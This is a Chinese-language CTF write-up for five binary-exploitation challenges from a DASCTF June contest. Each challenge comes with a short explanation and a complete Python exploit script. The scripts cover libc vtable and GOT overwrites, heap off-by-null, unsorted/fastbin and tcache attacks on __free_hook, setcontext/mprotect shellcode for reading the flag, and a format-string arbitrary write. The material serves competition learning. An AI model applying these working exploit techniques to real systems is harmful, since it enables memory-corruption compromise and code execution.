DASCTF6月赛部分writeup
DASCTF6月赛pwn的writeup
secret
给了个printf的地址,关闭了stdout,可以改写任意地址上的指针低两字节,再通过这个指针写0x18字节
然后还关闭了stderr,stdin
很容易就想到拿_IO_FILE开刀,但是对这个也不是很熟悉,于是卡了很久
就先看看远程的libc是什么版本,根据printf的地址,查到多个,最后确定了是libc2.29
libc2.29貌似不能修改vtable的内容,而且对vtable指针有要求(具体要求不太清楚),但是vtable指针附近偏差不大的地方都没什么问题,而且可写
那么就修改__IO_2_1_stderr的vtable指针的低两字节(只要和原来的位置偏差不大,而且可写就行,需要爆破),然后往新的指针指向的地址写3个qword,第三个刚好就是io_finish的位置,填上one_gadget即可
getshell后记得exec 1>&2
恢复输出
exp:
#coding=utf8
'''
脚本使用的库为welpwn(github可搜)
'''
from PwnContext import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = './secret'
ctx.remote = ('183.129.189.60', 10030)
ctx.remote_libc = './libc.so' # libc-2.29
ctx.debug_remote_libc = True
#rs()
rs('remote')
ru('secret:')
printf = int(ru('\n', drop=True), 16)
leak('printf', printf)
lbase = printf - ctx.libc.sym['printf']
leak('lbase', lbase)
_IO_2_1_stderr_ = lbase + ctx.libc.sym['_IO_2_1_stderr_']
vtable = _IO_2_1_stderr_ + 0xd8
leak('_IO_2_1_stderr_', _IO_2_1_stderr_)
leak('vtable', vtable)
one1 = lbase + 0xe237f
one2 = lbase + 0xe2383
one3 = lbase + 0xe2386
one4 = lbase + 0x106ef8
#dbg()
#dbg('b *%s' % hex(one3))
#raw_input()
s(p64(vtable))
s('\xf0\x70') # 修改vtable地址低两字节
s(p64(0) + p64(0) + p64(one3))
irt()
Memory_Monster_IV
根据Dockerfile得知环境使用ubuntu19,libc是2.30
漏洞是负数溢出改got表
write和一个one_gadget非常相近,只差两个字节
但每次只能写一个字节,要保证写了一个字节后,程序不会异常,可以调整one_gadget的低字节往前看看,是否有使得write的最低字节修改后有ret指令之类的
leak的话就利用给的execve,libc地址随机化最低的12位是固定为0的,利用这点,程序的随机数异或没啥用
整个过程中,stdout莫名其妙的被关闭了(可能和write有关),getshell后执行exec 1>&2
恢复输出
exp:
#coding=utf8
from PwnContext import *
from time import sleep
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = './Memory_Monster_IV'
ctx.remote = ('183.129.189.60', 10033)
ctx.custom_lib_dir = './lib'
ctx.debug_remote_libc = True
while True:
try:
#rs()
rs('remote')
# print(ctx.libc.path)
def write_byte(idx, byte):
sl(str(idx))
sl(hex(byte))
execve_addr = u64(ru('in', drop=True)[-8:])
execve_addr = execve_addr & (~0xfff)
execve_addr = execve_addr | (ctx.libc.sym['execve'] & 0xfff)
leak('execve', execve_addr)
lbase = execve_addr - ctx.libc.sym['execve']
one = lbase + 0x10afa4 # one_gadget=0x10afa9
write = lbase + ctx.libc.sym['write']
leak('lbase', lbase)
leak('one', one)
leak('write', write)
arr_addr = 0x5DE0
write_got = 0x4018
write_byte(write_got-arr_addr, one & 0xff)
write_byte(write_got-arr_addr+1, (one >> 8) & 0xff)
sleep(0.5)
sl('exec 1>&2')
sleep(0.5)
sl('ls flag')
ru('flag')
irt()
break
except KeyboardInterrupt:
break
except:
continue
easyheap
add处有个off-by-null
大体思路是:
- off-by-null达到chunk overlap,之后leak出libc和heap的地址
- 同样操作,获得一个指向被free进unsorted bin里的指针,修改这个unsorted bin chunk的bk域,unsorted bin attack 到__free_hook-16的位置
- 之后就可以fastbin attack修改__free_hook成setcontext+53
- 然后就是mprotect,shellcode,orw一把梭
open调用号被禁用了,用openat替代
测试发现远程环境是2.27,add功能使用的是calloc,不会从tcache分配,要先把tcache填满
exp:
#coding=utf8
from PwnContext import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'info'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = './pwn'
ctx.remote = ('183.129.189.60', 10027)
ctx.remote_libc = 'libc.so.6' # libc-2.27
ctx.debug_remote_libc = True
def add(size, content, idx):
sla('Choice: ', '1')
sla('index>> ', str(idx))
sla('size>> ', str(size))
sa('name>> ', content)
def dele(idx):
sla('Choice: ', '2')
sla('index>> ', str(idx))
def show(idx):
sla('Choice: ', '3')
sla('index>> ', str(idx))
def edit(idx, content):
sla('Choice: ', '4')
sla('index>> ', str(idx))
sa('name>> ', content)
#rs()
rs('remote')
# 填满tchache
for i in range(8):
add(0xf8, 'a', i)
for i in range(8):
dele(i)
for i in range(7):
add(0x68, 'a', i)
add(0xf8, 'a', 7)
for i in range(8):
dele(i)
for i in range(8):
add(0x160, 'a', i)
for i in range(8):
dele(i)
# leak
# off-by-null覆盖chunk4的pre_inuse
add(0xf8, 'a', 0)
add(0x68, 'a', 1)
add(0x68, 'a', 2)
add(0xf8, 'a', 3)
add(0x68, 'a', 4)
add(0xf8, 'a', 5) # top
#dele(1)
dele(2)
dele(0)
pay = 'a' * 0x60
pay += p64(0x1e0) # pre_size
add(0x68, pay, 2)
# 根据pre_size=0x2e0会向前合并到#0
dele(3)
# chunk0+chunk1,切割后在unsorted bin里的刚好由#2控制,可以leak
add(0xf8+0x70, 'a' * 0xf8 + p64(0x71), 0)
show(2)
main_arena = u64(r(8))
leak('main_arena', main_arena)
lbase = main_arena - (0x7ffff7dcfca0 - 0x7ffff79e4000)
__free_hook = lbase + ctx.libc.sym['__free_hook']
mprotect = lbase + ctx.libc.sym['mprotect']
setcontext = lbase + ctx.libc.sym['setcontext']
leak('lbase', lbase)
leak('__free_hook', __free_hook)
leak('mprotect', mprotect)
leak('setcontext', setcontext)
# 将#1,#4放入fastbin使得#1里由#4的地址,再通过#0来泄露heap地址
dele(4)
dele(1)
show(0)
r(0x100)
heap_addr = u64(r(8))
leak('heap_addr', heap_addr)
dele(0)
# unlink
fake_chunk_addr = heap_addr-0x2d0
fake_chunk = ''
fake_chunk += p64(0) + p64(0x1d1)
fake_chunk += p64(fake_chunk_addr+0x8) + p64(fake_chunk_addr+0x10)
fake_chunk += p64(fake_chunk_addr)
fake_chunk += 'a' * (0x1d0- len(fake_chunk))
fake_chunk += p64(0x1d0) # pre_size
add(0x1d8, fake_chunk, 0)
#dbg('b free')
#
add(0xf8, 'a', 6)
dele(6)
# unsorted bin attack to __free_hook-16
# #0和#6错位了
fake_chunk = p64(0) + p64(0x101)
fake_chunk += p64(main_arena) + p64(__free_hook-16-16)
edit(0, fake_chunk)
add(0xf0, 'a', 7)
# fastbin attack
pay = ''
pay += 'a' * 0xf0
pay += p64(0) + p64(0x71)
pay += p64(__free_hook-16-3)
edit(0, pay)
add(0x60, 'a', 8)
# modify free_hook
context.arch = "amd64"
sc2_addr = __free_hook & 0xfffffffffffff000
sc1 = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000
mov eax, 0; //SYS_read
syscall
jmp rsi
''' % sc2_addr
pay = 'aaa'
pay += p64(setcontext+53) + p64(__free_hook + 0x10) + asm(sc1)
add(0x60, pay, 9)
frame = SigreturnFrame()
frame.rsp = __free_hook + 8 # ret
frame.rip = mprotect
frame.rdi = sc2_addr
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1
edit(0, str(frame))
#dbg('b *%s' % hex(setcontext+53))
#raw_input()
dele(0)
flag_str = '/flag\x00\x00\x00'
sc2 = '''
mov rax, %s
push rax
mov rdi, 0
mov rsi, rsp
xor rdx, rdx
mov rax, 257; //openat
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 1024
mov rax, 0; //read
syscall
mov rdi, 1;
mov rsi, rsp
mov rdx, rax
mov rax, 1; //write
syscall
mov rdi, 0
mov rax, 60
syscall; //exit
''' % hex(u64(flag_str))
s(asm(sc2))
irt()
oooorder
edit功能使用realloc,realloc(ptr, 0)相当于free(ptr)
而add功能可以使得size=0
那么就可以uaf了,leak地址后修改tcache_entry为__free_hook
然后又是setcontext,mprotect,orw
题目还关闭了fastbin的使用
exp:
#coding=utf8
from PwnContext import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'info'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = './oooorder'
ctx.remote = ('183.129.189.60', 10028)
ctx.remote_libc = 'libc-2.27.so'
ctx.debug_remote_libc = True
def add(size, content):
sla('Your choice :', '1')
sla('How much is the order?', str(size))
if size != 0:
sa('Order notes:', content)
def edit(idx, content):
sla('Your choice :', '2')
sla('Index of order:', str(idx))
if content != '':
sa('Order notes:', content)
def show():
sla('Your choice :', '3')
def dele(idx):
sla('Your choice :', '4')
sla('Index of order:', str(idx))
#rs()
rs('remote')
# leak heap
add(0x10, 'aa') # 0
add(0, '') # 1 size=0
edit(1, '') # chunk1被free掉
add(0x10, 'aa') # 2 chunk1就是chunk2的node节点
show()
ru('[1]:')
heap = uu64(r(6)) - 0x2e0
leak('heap', heap)
dele(1)
dele(0)
add(0x10, p64(0) * 2) # 0 这块刚好是chunk2的node节点
add(0x10, 'a') # 1
# leak libc
# 填满tcache
for i in range(9):
add(0x50, 'a') # 3~11
# 留一个隔离top
for i in range(8):
dele(3+i)
add(0x30, 'a' * 8) # 3 sizeof(node)=0x10 0x10+0x30+0x10*2=0x50+0x10
show()
ru('[3]:')
ru('a' * 8)
main_arena = uu64(r(6))
__malloc_hook = main_arena - 0x70
lbase = __malloc_hook - ctx.libc.sym['__malloc_hook']
__free_hook = lbase + ctx.libc.sym['__free_hook']
setcontext = lbase + ctx.libc.sym['setcontext']
mprotect = lbase + ctx.libc.sym['mprotect']
leak('main_arena', main_arena)
leak('lbase', lbase)
# 修改了node2的内容
edit(0,p64(heap+0x10)+p64(0x240)) # heap+0x10
buf= '\x00'*4 + '\x01' + '\x00'*0x5b + p64(__free_hook) # 大小为0x60的tcache的数量置为1, 并指向__free_hook
edit(2, buf)
# 修改__free_hook为setcontext+53
add(0x50, p64(setcontext+53)) # 4
sc = '''
lea rdi,[rsp+0x3f]
mov rsi,0
mov rax,2
syscall; //open
mov rdi,rax
lea rsi,[rsp-0x100]
mov rdx,0x100
xor rax,rax
syscall; //read
mov rdi,1
mov rdx,rax
mov rax,1
syscall; //write
'''
buf = 'a'*0x68
buf += p64(heap) #rdi
buf += p64(0x1000) #rsi
buf = buf.ljust(0x88,b'a')
buf += p64(7) #rdx
buf = buf.ljust(0xa0,b'a')
buf += p64(heap+0x8b0) #rsp
buf += p64(mprotect) #ret
buf += p64(lbase+0x0000000000002b1d) # jmp rsp
buf += asm(sc)
buf += './flag\x00'
add(0x200, buf) #5
#dbg('b *%s' % hex(setcontext+53))
#raw_input()
dele(5)
irt()
springboard
格式化字符串,在堆上
格式化字符串先leak出libc和栈的地址
利用栈上的类似a->b,a在栈上,b也在栈上,这种栈上存了栈的指针,来任意地址写
如下图:
先把循环变量改为负数,突破循环次数
0x7fffffffdda8
的位置是13$,0x7fffffffde78
的位置是39$
通过"%{}c%13$hn"
把0x7fffffffde78
上存的0x7fffffffe1fc
改成0x7fffffffe1ff
,也就是循环变量的最高字节处
然后通过"%{}c%39$hhn"
,修改循环变量的最高字节,只要使得最高位是1,就能成为负数
同样的操作,将0x7fffffffe1ff
改成0x7fffffffddd8
(19$)
这样就形成了13$->39$->19$的链
同过"%{}c%13$hhn"
控制39$指向19$的偏移0-7,通过"%{}c%39$hhn"
改写19$偏移0-7的内容
也就是可以在19$上布置任意地址,再通过"%{}c%19$hhn"
就可以任意地址写了
改写main函数返回地址为one_gadget即可,
最后把循环变量改回整数,使得循环退出,main函数返回触发one_gadget
exp:
#coding=utf8
from PwnContext import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'info'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = './springboard'
ctx.remote = ('183.129.189.60', 10029)
ctx.remote_libc = 'libc.so.6' # libc-2.27
ctx.debug_remote_libc = True
rs()
#rs('remote')
def send(s):
sa('input your name:', s)
# leak libc stack
send('%11$p\n%13$p\n\x00')
ru('name:\n')
__libc_start_main = int(ru('\n', drop=True), 16) - 231
lbase = __libc_start_main - ctx.libc.sym['__libc_start_main']
leak('__libc_start_main', __libc_start_main)
leak('lbase', lbase)
stack = int(ru('\n', drop=True), 16)
leak('stack', stack)
# 修改i变量为负数
ref_i = stack - 0x7fffffffedf8 + 0x7fffffffecfc
off = (ref_i + 3) & 0xffff
if off != 0:
send('%{}c%13$hn\n\x00'.format(off))
else:
send('%13$hhn\n\x00')
send('%{}c%39$hhn\n\x00'.format(0xff))
# 形成13$->39$->19$一条链先
target_addr = stack - 0x7fffffffedf8 + 0x7fffffffed58
off = target_addr & 0xffff
if off != 0:
send('%{}c%13$hn\n\x00'.format(off))
else:
send('%13$hn\n\x00')
def set_addr(addr):
for i in range(8):
byte = (addr >> i * 8) & 0xff
off = (target_addr + i) & 0xff
if off != 0:
send('%{}c%13$hhn\n\x00'.format(off))
else:
send('%13$hhn\n\x00')
if byte != 0:
send('%{}c%39$hhn\n\x00'.format(byte))
else:
send('%39$hhn\n\x00')
def write_byte(byte):
if byte != 0:
send('%{}c%19$hhn\n\x00'.format(byte))
else:
send('%19$hhn\n\x00')
ref_ret = stack - 0x7fffffffedf8 + 0x7fffffffed18
set_addr(ref_ret)
one1 = lbase + 0x4f2c5
one2 = lbase + 0x4f322
one3 = lbase + 0x10a38c
for i in range(6):
byte = (one1 >> 8 * i) & 0xff
set_addr(ref_ret+i)
write_byte(byte)
#dbg('b *%s\nc' % hex(one1))
# 改回正数,使得循环退出
set_addr(ref_i+3)
write_byte(0)
#dbg('b *0x55555555495b')
irt()